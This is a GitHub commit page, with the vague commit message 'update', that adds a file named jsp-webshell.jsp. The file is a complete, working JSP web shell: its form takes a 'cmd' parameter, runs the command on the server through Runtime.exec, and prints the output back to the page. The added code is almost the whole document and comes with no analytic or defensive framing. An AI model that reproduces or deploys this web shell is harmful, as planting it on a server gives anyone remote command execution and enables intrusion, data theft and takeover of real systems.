Skip to content

Commit 6172f68

Browse files
committed
update
1 parent 5046360 commit 6172f68

File tree

3 files changed

+2583
-0
lines changed

3 files changed

+2583
-0
lines changed

jsp-webshell.jsp

+27
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
<%@ page import="java.util.*,java.io.*"%>
2+
<%
3+
%>
4+
<HTML><BODY>
5+
Commands with JSP
6+
<FORM METHOD="GET" NAME="myform" ACTION="">
7+
<INPUT TYPE="text" NAME="cmd">
8+
<INPUT TYPE="submit" VALUE="Send">
9+
</FORM>
10+
<pre>
11+
<%
12+
if (request.getParameter("cmd") != null) {
13+
out.println("Command: " + request.getParameter("cmd") + "<BR>");
14+
15+
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
16+
OutputStream os = p.getOutputStream();
17+
InputStream in = p.getInputStream();
18+
DataInputStream dis = new DataInputStream(in);
19+
String disr = dis.readLine();
20+
while ( disr != null ) {
21+
out.println(disr);
22+
disr = dis.readLine();
23+
}
24+
}
25+
%>
26+
</pre>
27+
</BODY></HTML>

0 commit comments

Comments
 (0)